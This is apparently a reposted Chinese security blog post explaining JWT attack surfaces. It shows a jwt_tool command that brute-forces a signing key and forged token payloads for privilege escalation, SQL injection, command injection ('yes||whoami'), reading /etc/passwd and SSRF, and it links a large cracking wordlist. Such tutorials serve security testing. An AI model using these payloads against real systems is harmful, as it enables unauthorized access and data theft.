⛅Token,是基于Json的一个公开规范,这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息,他的两大使用场景是:认证和数据交换,由服务端根据规范生成一个令牌(token),并且发放给客户端。此时客户端请求服务端的时候就可以携带者令牌,以令牌来证明自己的身份信息。
🔰0x02 前言
⛅现在的项目越来越多采用前后端分离来做,使用JWT来校验身份也越来越多,特别在跨域身份验证这块。本文会带大家了解到,JWT的攻击面。
🔰0x02 了解JWT
⛅在项目中,发现了一个JWT,我们尝试进https://jwt.io/进行查看JWT的值。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs
⛅可以很清晰看到JWT的内容
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}
🔰0x02 爆破Key
⛅在项目中,对JWT进行攻击,不知道key的情况下,可以尝试爆破key。使用jwt_tool进行爆破(文章末尾提供27G超强字典)
接下来我们实战一下,对上面的JWT进行爆破,命令如下:
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs -C -d pass.txt
⛅成功爆破出key为:0xShe123456
🔰0x03 JWT攻击面
⛅得到key以后,我们要对JWT进行攻击,在不同的项目中的攻击面也不同,接下来我们模拟一些常见的攻击场景。
✅水平越权
把1234567890改为1234567891
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}
✅垂直越权
把sysadmin的值N改为Y(NO改为YES或者false改为true)
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "Y",
"iat": 1690989833
}
✅SQL注入
{
"sub": "1234567890",
"name": "0xShe",
"data": "1' UNION SELECT 'key';-- ",
"iat": 1690989833
}
✅命令执行
{
"sub": "1234567890",
"name": "0xShe",
"echo": "yes||whoami",
"iat": 1690989833
}
✅文件读取
{
"sub": "1234567890",
"name": "0xShe",
"path": "/etc/passwd",
"iat": 1690989833
}
🔰0x04 JWT不一样的攻击面
⛅JWT不仅仅用来做身份校验,还遇到过用来加密传参的,其实攻击手法大同小异,像一些XSS SSRF也可以进行测试。
✅SSRF
{
"url": "http://sbbbb.cn/",
"iat": 1690989833
}
🔰0x05 工具和字典获取
字典链接:https://pan.baidu.com/s/1P0OkmPxFGM0VACViqHyoNw?pwd=6666 提取码:6666
工具链接:https://github.com/ticarpi/jwt_tool
原文始发于微信公众号(Poker安全):JWT的攻击面【文末附工具】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论